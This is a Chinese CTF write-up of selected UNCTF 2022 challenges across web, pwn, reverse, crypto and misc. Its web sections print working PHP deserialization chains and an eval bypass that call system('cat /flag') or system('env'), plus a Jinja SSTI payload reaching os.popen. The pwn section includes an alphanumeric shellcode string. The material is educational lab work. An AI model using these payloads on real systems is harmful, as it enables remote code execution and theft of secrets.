2022UNCTF部分wp
字数 1938 2025-08-06 18:07:54
UNCTF 2022 部分题目解析与教学文档
Web 题目解析
1. 我太喜欢bilibili大学啦(中北大学)
解题思路:
- 题目环境:PHP界面
- 关键点:flag存储在环境变量中
- 简单解法:直接搜索"flag"即可获取
修复版解题:
- 首页base64解码得到提示:admin_unctf.php
- 访问该页面发现登录框
- 在header中找到第二个base64提示,解码得到账户密码
- 登录后可post账户密码,通过cookie传值执行system命令
- 使用压缩flag文件夹到web目录下载的方法获取flag
2. ezgame(浙江师范大学)
解题思路:
- 游戏玩法:
- 前期:增加生命值和数量
- 后期:增加攻击力、能量和防御
- 避免使用单体攻击
- 替代解法:
- 检查main.js文件
- 搜索"UNCTF"找到相关函数
- 执行该函数直接获取flag
3. ezunseri(西华大学)
反序列化利用链:
- 构造链:Login->key(Exec)->content(Test)->test(Exec)
- 绕过__wakeup:修改对象属性数量
- 最终payload:
?pop=O:5:"Login":2:{s:4:"code";s:9:"3.1415926";s:3:"key";O:4:"Exec":2:{s:7:"content";O:4:"Test":1:{s:4:"test";O:4:"Exec":2:{s:7:"content";s:20:"system("cat /flag");";}}}}
4. 听说php有一个xxe(西南科技大学)
利用方法:
- 获取提示:访问/hint
- 利用PHP 7.0的XXE漏洞
- 使用file协议读取flag
5. babyphp(中国人民公安大学)
考察点:
- POST/GET传参
- PHP弱类型比较:
a==0且a!==0(使用"0a") - sha1数组绕过:传入数组使sha1返回NULL
- WAF绕过:通过引用参数方式绕过检查
code=eval($_GET[b]);&b=system("cat flag.txt");
6. easy ssti(金陵科技学院)
解题步骤:
- 发现class被过滤
- 使用lipsum的globals访问os模块
- 最终payload:
{{lipsum.__globals__.__getitem__("os").popen("env").read()}}
注:flag藏在环境变量中
7. poppop(中国人民公安大学)
反序列化利用:
- 构造链:B->key(C)->key2(A)
- 注意private变量处理
- 最终payload:
poc=O:1:"B":1:{s:3:"key";O:1:"C":1:{s:7:"%00C%00key2";O:1:"A":2:{s:4:"code";s:14:"system('env');";}}}
Pwn 题目解析
1. welcomeUNCTF2022
解法:直接nc连接并输入"UNCTF&2022"
2. 石头剪刀布(西华大学)
伪随机数预测:
- 使用srand(0xA)初始化随机数生成器
- 生成前100个随机数并记录
- 编写脚本自动应答
3. move your heart(中国计量大学现代科技学院)
栈迁移利用:
- 第一次read布置rop链
- 第二次read控制返回地址
- 使用leave ret控制执行流
4. checkin(珠海科技学院)
整数溢出绕过:
- 使用空格绕过负号检查:发送" -1"
5. int 0x80(中国计量大学现代科技学院)
纯字符shellcode:
sc = b'Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t'
Re 题目解析
1. whereisyourkey(广东海洋大学)
解法:
- flag在v5数组中
- 修改关键判断为jmp指令绕过检查
- 直接运行程序获取flag
2. ezzzzre(广东海洋大学)
解法:
- UPX脱壳
- 解密算法:
x = 'HELLOCTF'
flag = ''
for i in x:
flag += chr(2*ord(i)-69)
Crypto 题目解析
1. md5-1
解法:
- 构建字符到md5的映射表
- 比对密文获取原始字符
- 拼接得到flag格式
2. Dddd
解法:
- 将数字替换为莫斯码(1→.,0→-)
- 莫斯解码获取flag
3. caesar
解法:
- 已知开头为"UNCTF"确定偏移量
- 自定义字母表包含大小写字母、数字和+/符号
- 计算偏移量为19
4. ezxor(多次一密)
解法:
- 利用空格特性(字母异或空格仍为字母)
- 统计各位置可能为空格的情况
- 推导key值
- 最终key:
UNCTF{Y0u_are_very_Clever!!!}
5. ezRSA
解法:
- 分解n=p^4
- 计算phi = p^4 - p^3
- 正常RSA解密
Misc 题目解析
1. magic_word
解法:修改编码方式为UTF-8后零宽解码
2. syslog
解法:解压后搜索"password",base64解码获取flag
3. 巨鱼
解题步骤:
- 修改图片高度获取解压密码:"无所谓我会出手"
- 修复zip文件头
- 密码为"666"(C6H6Cl6)
- 在PPT空白处找到flag
4. 社什么社
解法:识别图片为凤凰古城,计算md5提交
5. In_the_Morse_Garden(陆军工程大学)
解题步骤:
- 从PDF中复制隐藏文本
- Base64解码得到"依古比古"和"玛卡巴卡"的重复
- 替换为莫斯码(依古比古→.,玛卡巴卡→-)
- 莫斯解码获取flag
以上为UNCTF 2022部分题目的详细解析,涵盖了Web、Pwn、Re、Crypto和Misc等多个方向的关键解题思路和技术要点。